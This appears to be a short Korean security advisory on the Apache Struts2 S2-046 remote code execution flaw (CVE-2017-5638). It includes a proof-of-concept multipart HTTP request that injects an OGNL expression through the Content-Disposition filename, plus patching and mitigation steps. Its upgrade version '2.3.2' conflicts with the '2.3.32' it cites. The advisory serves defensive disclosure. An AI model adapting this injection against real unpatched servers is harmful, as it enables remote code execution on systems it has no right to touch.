Apache Struts2 원격코드실행 취약점 주의!(CVE-2017-5638, S2-046)
최근 S2-045 취약점과 유사한 원격코드실행 취약점이 또 다시 발견되었습니다.
취약점 개요
악성 Content-Disposition값 혹은 부적절한 Content-Length 헤더를 이용하여 원격코드를 실행할 수 있는 취약점 입니다. 해당 취약점은 S2-045와 유사하지만, 사용하는 공격 벡터가 다릅니다.
CVE 번호
CVE-2017-5638
PoC
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
해결방법
1) Apache Struts 2.3.2 혹은 2.5.10.1로 업데이트
(▶참고 : Struts 2.3.32 업데이트, Struts 2.5.10.1업데이트)
2) 만약 업데이트를 할 수 없는 상황 중 Apache Struts 2.3.8 – 2.5.5 혹은 2.3.20 – 2.5.5버전 사용자라면 새로개발된 플러그인 사용
(▶참고 : https://github.com/apache/struts-extras)
3) 만약 업데이트를 할 수 없는 상황 중 Struts 2.5.8 – 2.5.10 사용자라면 스택에서 File Upload Interceptor 삭제하고 스택을 정의하고 기본으로 설정한다.
참고 :
https://cwiki.apache.org/confluence/display/WW/S2-045
https://cwiki.apache.org/confluence/display/WW/S2-046
https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNAr_RLyvpR
좋은 정보 고맙습니다.